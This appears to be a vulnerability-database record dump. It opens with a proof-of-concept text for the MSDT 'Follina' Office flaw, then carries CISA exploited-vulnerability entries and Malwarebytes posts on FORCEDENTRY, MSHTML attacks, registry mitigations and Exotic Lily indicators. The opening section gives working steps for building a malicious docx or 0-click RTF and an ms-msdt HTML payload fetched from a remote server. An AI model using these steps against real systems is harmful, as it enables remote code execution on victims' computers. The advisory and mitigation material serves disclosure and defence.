CVE number attributed yet. \n \n \n## Technical Details \n \nThe vulnerability is being exploited by using the MSProtocol URI scheme to load some code. \nAttackers could embed malicious links inside Microsoft Office documents, templates or emails \nbeginning with ms-msdt: that will be loaded and executed afterward without user interaction \n- except if the Protected View mode is enabled. Nevertheless, converting the document to \nthe RTF format could also bypass the Protected View feature. \n \n## Proof of Concept \n \nMS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme \"ms-msdt:\" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters). \n \nThe result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros). \n \nHere are the steps to build a Proof-of-Concept docx: \n \n1. Open Word (used up-to-date 2019 Pro, 16.0.10386.20017), create a dummy document, insert an (OLE) object (as a Bitmap Image), save it in docx. \n \n2. Edit `word/_rels/document.xml.rels` in the docx structure (it is a plain zip). Modify the XML tag `<Relationship>` with attribute \n \n``` \nType=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject\" \n``` \n \nand `Target=\"embeddings/oleObject1.bin\"` by changing the `Target` value and adding attribute `TargetMode`: \n \n``` \nTarget = \"http://<payload_server>/payload.html!\" \nTargetMode = \"External\" \n``` \n \nNote the Id value (probably it is \"rId5\"). \n \n3. Edit `word/document.xml`. Search for the \"<o:OLEObject ..>\" tag (with `r:id=\"rId5\"`) and change the attribute from `Type=\"Embed\"` to `Type=\"Link\"` and add the attribute `UpdateMode=\"OnCall\"`. \n \nNOTE: The created malicious docx is almost the same as for [CVE-2021-44444](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444). \n \n4. Serve the PoC (calc.exe launcher) html payload with the ms-msdt scheme at `http://<payload_server>/payload.html`: \n \n``` \n<!doctype html> \n<html lang=\"en\"> \n<body> \n<script> \n//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times \nwindow.location.href = \"ms-msdt:/id PCWDiagnostic /skip force /param \\\"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \\\"\"; \n</script> \n \n</body> \n</html> \n``` \n \nNote that the comment line with AAA should be repeated >60 times (for filling up enough space to trigger the payload for some reason). \n \n## BONUS (0-click RTF version) \n \nIf you also add these elements under the `<o:OLEObject>` element in `word/document.xml` at step 3: \n \n``` \n<o:LinkType>EnhancedMetaFile</o:LinkType> \n<o:LockedField>false</o:LockedField> \n<o:FieldCodes>\\f 0</o:FieldCodes> \n``` \n \nthen it'll work as RTF also (open the resulting docx and save it as RTF). \n \nWith RTF, there is no need to open the file in Word, it is enough to browse to the file and have a look at it in a preview pane. The preview pane triggers the external HTML payload and RCE is there without any clicks. \n \n## Sources : \n \n- https://nao-sec.org/about \n- https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/detection \n- https://gist.github.com/tothi/66290a42896a97920055e50128c9f040 \n- https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/ \n \n \n`\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/167317/msdt-poc.txt"}], "cisa_kev": [{"lastseen": "2023-07-21T17:22:44", "description": "Microsoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability allowing remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft Open Management Infrastructure (OMI) Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-38647", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-07-21T17:22:44", "description": "Apple iOS, iPadOS, macOS, and watchOS CoreGraphics contain an integer overflow vulnerability which may allow code execution when processing a maliciously crafted PDF. The vulnerability is also known under the moniker of FORCEDENTRY.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Apple Multiple Products Integer Overflow Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30860"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-30860", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-07-21T17:22:44", "description": "Microsoft MSHTML contains a unspecified vulnerability which allows for remote code execution.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft MSHTML Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-40444", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "malwarebytes": [{"lastseen": "2021-09-15T08:46:32", "description": "Spyware developed by the company NSO Group is back in the news today after Apple released an emergency fix for iPhones, iPads, Macs, and Apple Watches. The update fixes a vulnerability silently exploited by software called Pegasus, which is often used in [high-level surveillance campaigns](<https://blog.malwarebytes.com/privacy-2/2021/07/pegasus-spyware-has-been-here-for-years-we-must-stop-ignoring-it/>) by governments.\n\n### Zero-day\n\nPegasus spyware is typically installed on victims' phones using a software exploit that requires little or no user interaction\u2014perhaps no more than a click. The exploits change over time, as they are discovered and patched by Apple.\n\nThis most recent exploit is a \u201czero-day, zero-click\u201d flaw in Apple\u2019s iMessage app that requires no user interaction at all. Known as \u201cFORCEDENTRY\u201d, it was [discovered](<https://citizenlab.ca/2021/09/forcedentry-nso-group-imessage-zero-click-exploit-captured-in-the-wild/>) by CitizenLab after a forensic examination of a phone belonging to a Saudi activist.\n\nThe exploit has apparently been in use since at least February 2021, and reportedly works on Apple iOS, MacOS, and WatchOS devices.\n\nWhat should you do next?\n\nPut simply, if you run any of these devices, you must **[update immediately](<https://support.apple.com/en-ca/HT212807>) to iOS 14.8**.\n\nAs per the description:\n\n> _Impact: Processing a maliciously crafted PDF may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited._\n> \n> _Description: An integer overflow was addressed with improved input validation._\n> \n> _CVE-2021-30860: The Citizen Lab_\n\nIf you want specifics on what exactly is affected, Apple has [said the following](<https://www.techzine.eu/news/security/65408/apple-releases-update-fixing-nso-spyware-vulnerabilities/>):\n\n"All iPhones with iOS versions prior to 14.8, All Mac computers with operating system versions prior to OSX Big Sur 11.6, Security Update 2021-005 Catalina, and all Apple Watches prior to watchOS 7.6.2."\n\n### Pegasus spyware\n\nThe NSO Group says that its spyware is used against criminals and terrorists, but journalists and human rights activists are known to have been targeted by Pegasus attacks, along with political dissidents and business executives at the highest levels. The software can be used to collect all manner of personal data from devices, intercept calls and messages, and much more. If your work is particularly sensitive, it isn\u2019t something you want anywhere near your phone.\n\n### Is the sky falling?\n\nAbsolutely not. It\u2019s very good practice to keep all of your devices updated. It\u2019s something we should be doing by default. Sometimes you may have to do some updating manually to ensure crucial systems don\u2019t break inside whatever daisy-chain of a network you have in operation. Businesses can typically work around this if needed.\n\nFor the most part, you can typically set updates to automatic and deal with them as they come through.\n\nAs far as Pegasus goes though, the vast majority of people will never, ever run into a piece of spyware like it. Pegasus campaigns are expensive, and so are the exploits they use. Campaign owners simply do not care about most people enough to waste valuable resources on them. They _do_ care about defined, specific, known targets in advance, however. This isn\u2019t something which tends to get spammed out to hundreds of thousands of Gmail accounts, or dropped into Discord chat. If you are a high value target\u2014perhaps if you work at a [center for human rights](<https://www.bleepingcomputer.com/news/apple/new-zero-click-iphone-exploit-used-to-deploy-nso-spyware/>)\u2014you _might_ need to ponder the implications of something like Pegasus.\n\nAs Apple itself [explains](<https://www.theguardian.com/technology/2021/sep/13/nso-group-iphones-apple-devices-hack-patch>), these attacks cost \u201cmillions\u201d to develop, have short lifespans, and \u201care not a threat to the overwhelming majority of our users\u201d.\n\nAll the same, you should apply the fix as soon as possible. While you\u2019re almost certainly not at risk from Pegasus, there\u2019s a lot of other bad things out there which do target regular folks and businesses. The danger for most people is that somebody else manages to reverse-engineer this exploit into something that's used more widely.\n\nGrab the update, and go about your business safe in the knowledge that being hit by Pegasus is now even more unlikely than it was previously.\n\nThe post [Apple releases emergency update: Patch, but don't panic](<https://blog.malwarebytes.com/privacy-2/2021/09/apple-releases-emergency-update-patch-but-dont-panic/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {}, "published": "2021-09-14T11:39:39", "type": "malwarebytes", "title": "Apple releases emergency update: Patch, but don\u2019t panic", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-30860"], "modified": "2021-09-14T11:39:39", "id": "MALWAREBYTES:0A7B79D902F4C3089D6602A5A3520EDF", "href": "https://blog.malwarebytes.com/privacy-2/2021/09/apple-releases-emergency-update-patch-but-dont-panic/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-25T08:35:08", "description": "Malwarebytes has reason to believe that the [MSHTML vulnerability](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/windows-mshtml-zero-day-actively-exploited-mitigations-required/>) listed under [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) is being used to target Russian entities. The Malwarebytes Intelligence team has intercepted email attachments that are specifically targeting Russian organizations.\n\nThe first template we found is designed to look like an internal communication within JSC GREC Makeyev. The Joint Stock Company State Rocket Center named after Academician V.P. Makeyev is a strategic holding of the country's defense and industrial complex for both the rocket and space industry. It is also the lead developer of liquid and solid-fuel strategic missile systems with ballistic missiles, making it one of Russia's largest research and development centers for developing rocket and space technology.\n\nThe email claims to come from the Human Resources (HR) department of the organization.\n\n![HR department query](https://blog.malwarebytes.com/wp-content/uploads/2021/09/Makeyev_template-484x600.png)A phishing email targeted at the Makeyev State Rocket Center, posing at its own HR department \n\nIt says that HR is performing a check of the personal data provided by employees. The email asks employees to please fill out the form and send it to HR, or reply to the mail. When the receiver wants to fill out the form they will have to enable editing. And that action is enough to trigger the exploit.\n\nThe attack depends on MSHTML loading a specially crafted ActiveX control when the target opens a malicious Office document. The loaded ActiveX control can then run arbitrary code to infect the system with more malware.\n\nThe second attachment we found claims to originate from the Ministry of the Interior in Moscow. This type of attachment can be used to target several interesting targets.\n\n![from Russian Ministry of the Interior](https://blog.malwarebytes.com/wp-content/uploads/2021/09/Justice_template-469x600.png)A phishing email posing as the Russian Ministry of the Interior\n\nThe title of the documents translates to \u201cNotification of illegal activity.\u201d It asks the receiver to please fill out the form and return it to the Ministry of Internal affairs or reply to this email. It also urges the intended victim to do so within 7 days.\n\n### Russian targets\n\nIt is rare that we find evidence of cybercrimes against Russian targets. Given the targets, especially the first one, we suspect that there may be a state-sponsored actor behind these attacks, and we are trying to find out the origin of the attacks. We will keep you informed if we make any progress in that regard.\n\n### Patched vulnerability\n\nThe CVE-2021-40444 vulnerability may be old-school in nature (it involves ActiveX, remember that?) but it was only recently discovered. It wasn't long before threat actors were sharing PoCs, tutorials and exploits on hacking forums, so that everyone was able to follow step-by-step instructions in order to launch their own attacks.\n\nMicrosoft quickly published mitigation instructions that disabled the installation of new ActiveX controls, and managed to squeeze a [patch into its recent Patch Tuesday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/patch-now-printnightmare-over-mshtml-fixed-a-new-horror-appears-omigod/>) output, just a few weeks after the bug became public knowledge. However, the time it takes to create a patch is often dwarfed by the time it takes people to apply it. Organizations, especially large ones, are often found trailing far behind with applying patches, so we expect to see more attacks like this.\n\n\u0411\u0443\u0434\u044c\u0442\u0435 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u0441\u0435!\n\nThe post [MSHTML attack targets Russian state rocket centre and interior ministry](<https://blog.malwarebytes.com/reports/2021/09/mshtml-attack-targets-russian-state-rocket-centre-and-interior-ministry/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {}, "published": "2021-09-22T19:16:56", "type": "malwarebytes", "title": "MSHTML attack targets Russian state rocket centre and interior ministry", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-22T19:16:56", "id": "MALWAREBYTES:801E20618F96EF51F9E60F7BC7906C2B", "href": "https://blog.malwarebytes.com/reports/2021/09/mshtml-attack-targets-russian-state-rocket-centre-and-interior-ministry/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-13T12:35:29", "description": "Several researchers have independently reported a 0-day remote code execution vulnerability in MSHTML to Microsoft. The reason it was reported by several researchers probably lies in the fact that a limited number of attacks using this vulnerability have been identified, as per Microsoft\u2019s [security update](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>). \n\n> Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents.\n\nMSHTML is a software component used to render web pages on Windows. Although it's most commonly associated with Internet Explorer, it is also used in other software including versions of Skype, Microsoft Outlook, Visual Studio, and others.\n\nMalwarebytes, as shown lower in this article, blocks the related malicious powershell code execution.\n\n### CVE-2021-40444\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). This one has been assigned the designation [CVE-2021-40444](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40444>) and received a CVSS score of 8.8 out of 10. The CVSS standards are used to help security researchers, software users, and vulnerability tracking organizations measure and report on the severity of vulnerabilities. CVSS can also help security teams and developers prioritize threats and allocate resources effectively.\n\nThe Cybersecurity and Infrastructure Security Agency took to Twitter to [encourage](<https://twitter.com/USCERT_gov/status/1435342618704191491>) users and organizations to review Microsoft's mitigations and workarounds to address CVE-2021-40444.\n\n### ActiveX\n\nBecause MSHTML is the beating heart of Internet Explorer, the vulnerability also exists in that browser. Although given its limited use, there is little risk of infection by that vector. Microsoft Office applications however, use the MSHTML component to display web content in Office documents.\n\nThe attack depends on MSHTML loading a specially crafted ActiveX control when the target opens a malicious Office document. The loaded ActiveX control can then run arbitrary code to infect the system with more malware.\n\nSo, the attacker will have to trick the user into opening a malicious document. But we all know how good some attackers are at this.\n\n### Mitigation\n\nAt the moment all supported Windows versions are vulnerable. Since there is no patch available yet, Microsoft proposes a few methods to block these attacks.\n\n * Disable the installation of all ActiveX controls in Internet Explorer via the registry. Previously-installed ActiveX controls will still run, but no new ones will be added, including malicious ones.\n * Open documents from the Internet in Protected View or Application Guard for Office, both of which prevent the current attack. This is a default setting but it may have been changed.\n\nDespite the lack of a ready patch, all versions of Malwarebytes currently block this threat, as shown below. Malwarebytes also detects the eventual payload, Cobalt Strike, and has done so for years, meaning that even if a threat actor had disabled anti-exploit, then Cobalt Strike itself would still be detected. \n\n![](https://blog.malwarebytes.com/wp-content/uploads/2021/09/MSHTML-1-600x427.png)\n\n![](https://blog.malwarebytes.com/wp-content/uploads/2021/09/MSHTML-teams-600x371.png)A screenshot from Malwarebytes Teams showing active detection of this threat\n\n![](https://blog.malwarebytes.com/wp-content/uploads/2021/09/MSHTML-2-600x349.png)A screenshot from Malwarebytes Nebula showing active detection of this threat\n\n![](https://blog.malwarebytes.com/wp-content/uploads/2021/09/Teams-image-2-600x393.png)A screenshot of Malwarebytes Teams blocking the final payload\n\n![](https://blog.malwarebytes.com/wp-content/uploads/2021/09/MBAE-image-1-600x419.png)A screenshot of Malwarebytes Anti-Exploit blocking the exploit payload process\n\n### Registry changes\n\nModifying the registry may create unforeseen results, so create a backup before you change it! It may also come in handy when you want to undo the changes at a later point.\n\nTo create a backup, open Regedit and drill down to the key you want to back up (if it exists):\n\n`HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones`\n\nRight click the key in the left side of the registry pane and select "Export". Follow the prompts and save the created reg file with a name and in a location where you can easily find it.\n\n![registry export](https://blog.malwarebytes.com/wp-content/uploads/2021/09/exportregistrykey.png)\n\nTo make the recommended changes, open a text file and paste in the following script. Make sure that all of the code box content is pasted into the text file!\n \n \n Windows Registry Editor Version 5.00\n \n [HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\0]\n \"1001\"=dword:00000003\n \"1004\"=dword:00000003\n \n [HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\1]\n \"1001\"=dword:00000003\n \"1004\"=dword:00000003\n \n [HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\2]\n \"1001\"=dword:00000003\n \"1004\"=dword:00000003\n \n [HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3]\n \"1001\"=dword:00000003\n \"1004\"=dword:00000003\n \n\nSave the file with a .reg file extension. Right-click the file and select Merge. You'll be prompted about adding the information to the registry, agree, and then reboot your machine.\n\n## Update september 9, 2021\n\nIt has taken researchers only a few days to circumvent the mitigations proposed by Microsoft. Once they were able to find a sample of a malicious Word document, they have started analyzing how it works and along the way poked holes in the defense strategies proposed by Microsoft.\n\nOne of the wobbly pillars is the Mark-of-the-Web (MoTW) flag that is given to downloaded files. This only blocks the exploit unless a user clicks on the 'Enable Editing' buttons. Sadly, experience has learned us that it is not a good idea to trust that they won't do that. Another problem with this flag is that it doesn't survive when it is handled by other applications, like for example, unzipping. Another problem are certain filetypes that use the same MSHTML to view webcontent, but are not protected by Office's Protected View security feature. Researcher [Will Dormann](<https://twitter.com/wdormann/status/1435951560006189060>) was able to replicate the attasck using an RTF file.\n\nThe registry fix we posted to prevent ActiveX controls from running in Internet Explorer, were supposed to effectively block the current attacks. But, security researcher Kevin Beaumont has already [discovered a way](<https://twitter.com/GossiTheDog/status/1435570418623070210>) to bypass Microsoft's current mitigations to exploit this vulnerability.\n\n### The attack chain\n\nThe researchers have also managed to reconstruct the attack chain with the use of a limited set of samples of malicious docx files. \n\n * Once a user clicks on the 'Enable Editing' button, the exploit will load a _side.html_ file by using the mhtml protocol to open a URL. The _side.html _file is hosted at a remote site and will be loaded as a Word template.\n * The Internet Explorer browser will be started to load the HTML, and its obfuscated JavaScript code will exploit the CVE-2021-40444 vulnerability to create a malicious ActiveX control.\n * This ActiveX control will download a _ministry.cab_ file from a remote site.\n * And extract a _championship.inf_ file, which is actually a DLL, and execute it as a CPL file by using rundll32.exe.\n * The ultimate payload is a Cobalt Strike beacon, which would allow the threat actor to gain remote access to the device.\n\nGiven the few days that are left until next patch Tuesday, it is doubtful whether Microsoft will be able to come up with an effective patch.\n\nConsider me one happy camper that Malwarebytes does not rely on the MoTW flag.\n\n![Office Exploit blocked](https://blog.malwarebytes.com/wp-content/uploads/2021/09/ExploitOfficeWMIblock.png)_This is what happened when I tried to "edit" the Word doc the researchers analyzed_\n\n## Update september 13, 2021\n\nAs [reported by BleepingComputer](<https://www.bleepingcomputer.com/news/microsoft/windows-mshtml-zero-day-exploits-shared-on-hacking-forums/>) threat actors are sharing PoCs, tutorials and exploits on hacking forums, so that every script kiddy and wannabe hacker can follow step-by-step instructions to build their own attacks. Since the method we mentioned that uses an RTF file even works in Windows explorer file previews. This means this vulnerability can be exploited by viewing a malicious document using the Windows Explorer preview feature.\n\nSince this was discovered, Microsoft has added the following mitigation to disable previewing of RTF and Word documents:\n\n 1. In the Registry Editor (regedit.exe), navigate to the appropriate registry key: **For Word documents, navigate to these keys:**\n * HKEY_CLASSES_ROOT.docx\\ShellEx{8895b1c6-b41f-4c1c-a562-0d564250836f}\n * HKEY_CLASSES_ROOT.doc\\ShellEx{8895b1c6-b41f-4c1c-a562-0d564250836f}\n * HKEY_CLASSES_ROOT.docm\\ShellEx{8895b1c6-b41f-4c1c-a562-0d564250836f} **For rich text files (RTF), navigate to this key:**\n * HKEY_CLASSES_ROOT.rtf\\ShellEx{8895b1c6-b41f-4c1c-a562-0d564250836f}\n 2. Export a copy of the Registry key as a backup.\n 3. Now double-click **Name** and in the **Edit String** dialog box, delete the Value Data.\n 4. Click **OK**,\n\nWord document and RTF file previews are now disabled in Windows Explorer.\n\nTo enable Windows Explorer preview for these documents, double-click on the backup .reg file you created in step 2 above.\n\nStay safe,everyone!\n\nThe post [[updated] Windows MSHTML zero-day actively exploited, mitigations required](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/windows-mshtml-zero-day-actively-exploited-mitigations-required/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {}, "published": "2021-09-08T11:04:07", "type": "malwarebytes", "title": "[updated] Windows MSHTML zero-day actively exploited, mitigations required", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-08T11:04:07", "id": "MALWAREBYTES:DB54B348AF1AC41987150B5CE7B1BC66", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/windows-mshtml-zero-day-actively-exploited-mitigations-required/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-03-18T23:27:45", "description": "The Google Threat Analysis Group (TAG) has shared their observations about a group of cybercriminals called Exotic Lily. This group has specialized itself as an initial access broker, which means they find a vulnerability in an organization's defenses, exploit that vulnerability, and sell the access to the victim's network to an interested party, several times over with different victims.\n\nAmong these interested parties TAG found the [Conti](<https://blog.malwarebytes.com/threat-spotlight/2021/05/threat-spotlight-conti-the-ransomware-used-in-the-hse-healthcare-attack/>) and Diavol ransomware groups. Because Exotic Lily's methods involved a lot of detail, they are believed to require a level of human interaction that is rather unusual for cybercrime groups focused on large scale operations.\n\n## Initial access broker\n\nLike in any maturing industry, you can expect to see specialization and diversification. Initial access brokers are an example of specialized cybercriminals. They will use a vulnerability to gain initial access, and, probably based on the nature of the target, sell this access to other cybercriminals that can use this access to deploy their specific malware.\n\nThese initial access brokers are different from the usual ransomware affiliates that will deploy the ransomware they are affiliated with themselves and use the infrastructure provided by the ransomware as a service (RaaS) group to get a chunk of the ransom if the victim decides to pay. The RaaS will provide the encryption software, the contact and leak sites, and negotiate the ransom with the victim. An initial access broker will inform another cybercriminal by letting them know they have found a way in at company xyz, and inquire how much they are willing to pay for that access.\n\n## Exotic Lily\n\nFrom the [TAG blog](<https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/>) we can learn that Exotic Lily was very much specialized. Their initial attack vector was email. Initially, they were targeting specific industries such as IT, cybersecurity, and healthcare, but that focus has become less stringent.\n\nTheir email campaigns gained credibility by spoofing companies and employees. Their email campaigns were targeted to a degree that they are believed to be sent by real human operators using little to no automation. To evade detection mechanisms they used common services like WeTransfer, TransferNow, and OneDrive to deliver the payload.\n\nLast year, researchers found that Exotic Lily used the vulnerability listed as [CVE-2021-40444](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40444>), a Microsoft MSHTML Remote Code Execution (RCE) vulnerability. Microsoft also posted a [blog](<https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/>) about attacks that exploited this vulnerability. Later, the group shifted to using customized versions of [BazarLoader](<https://blog.malwarebytes.com/detections/trojan-bazar/>) delivered inside ISO files.\n\nBased on the fact that the Exotic Lily\u2019s operations require a lot of human interaction, the researchers did an analysis of the \u201cworking hours\u201d and came to the conclusion that it looks like a regular 9 to 5 operation located in a Central or Eastern Europe time zone.\n\n## Social engineering\n\nAs with most email campaigns the amount of social engineering largely defines how successful such a campaign can be. Between the millions of emails sent in a "spray-and-pray" attack, to the thousands that Exotic Lily sends out per day, there is a huge difference in success rate.\n\nExotic Lily used identity [spoofing](<https://blog.malwarebytes.com/cybercrime/2016/06/email-spoofing/>) where they replaced the TLD for a legitimate domain and replaced it with \u201c.us\u201d, \u201c.co\u201d or \u201c.biz\u201d. At first, the group would create entirely fake personas posing as employees of a real company. These personas would come including social media profiles, personal websites, and AI generated profile pictures. That must have been a lot of work, so at some point the group started to impersonate real company employees by copying their personal data from social media and business databases such as RocketReach and CrunchBase.\n\nUsing such spoofed accounts, the attackers would send [spear phishing](<https://blog.malwarebytes.com/social-engineering/2020/01/spear-phishing-101-what-you-need-to-know/>) emails with a business proposal and even engage in further communication with the target by attempting to schedule a meeting to discuss the project's design or requirements.\n\n## IOC\u2019s\n\nSHA-256 hashes of the **BazarLoader** ISO samples:\n\n * 5ceb28316f29c3912332065eeaaebf59f10d79cd9388ef2a7802b9bb80d797be\n * 9fdec91231fe3a709c8d4ec39e25ce8c55282167c561b14917b52701494ac269\n * c896ee848586dd0c61c2a821a03192a5efef1b4b4e03b48aba18eedab1b864f7\n\nSHA-256 hashes of the **BUMBLEBEE** ISO samples:\n\n * 9eacade8174f008c48ea57d43068dbce3d91093603db0511467c18252f60de32\n * 6214e19836c0c3c4bc94e23d6391c45ad87fdd890f6cbd3ab078650455c31dc8\n * 201c4d0070552d9dc06b76ee55479fc0a9dfacb6dbec6bbec5265e04644eebc9\n * 1fd5326034792c0f0fb00be77629a10ac9162b2f473f96072397a5d639da45dd\n * 01cc151149b5bf974449b00de08ce7dbf5eca77f55edd00982a959e48d017225\n\n**IP** address of the [C&C server](<https://blog.malwarebytes.com/glossary/cc/>):\n\n * 23.81.246.187\n\nStay safe, everyone!\n\nThe post [Meet Exotic Lily, access broker for ransomware and other malware peddlers](<https://blog.malwarebytes.com/threat-spotlight/2022/03/meet-exotic-lily-access-broker-for-ransomware-and-other-malware-peddlers/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-03-18T22:58:48", "type": "malwarebytes", "title": "Meet Exotic Lily, access broker for ransomware and other malware 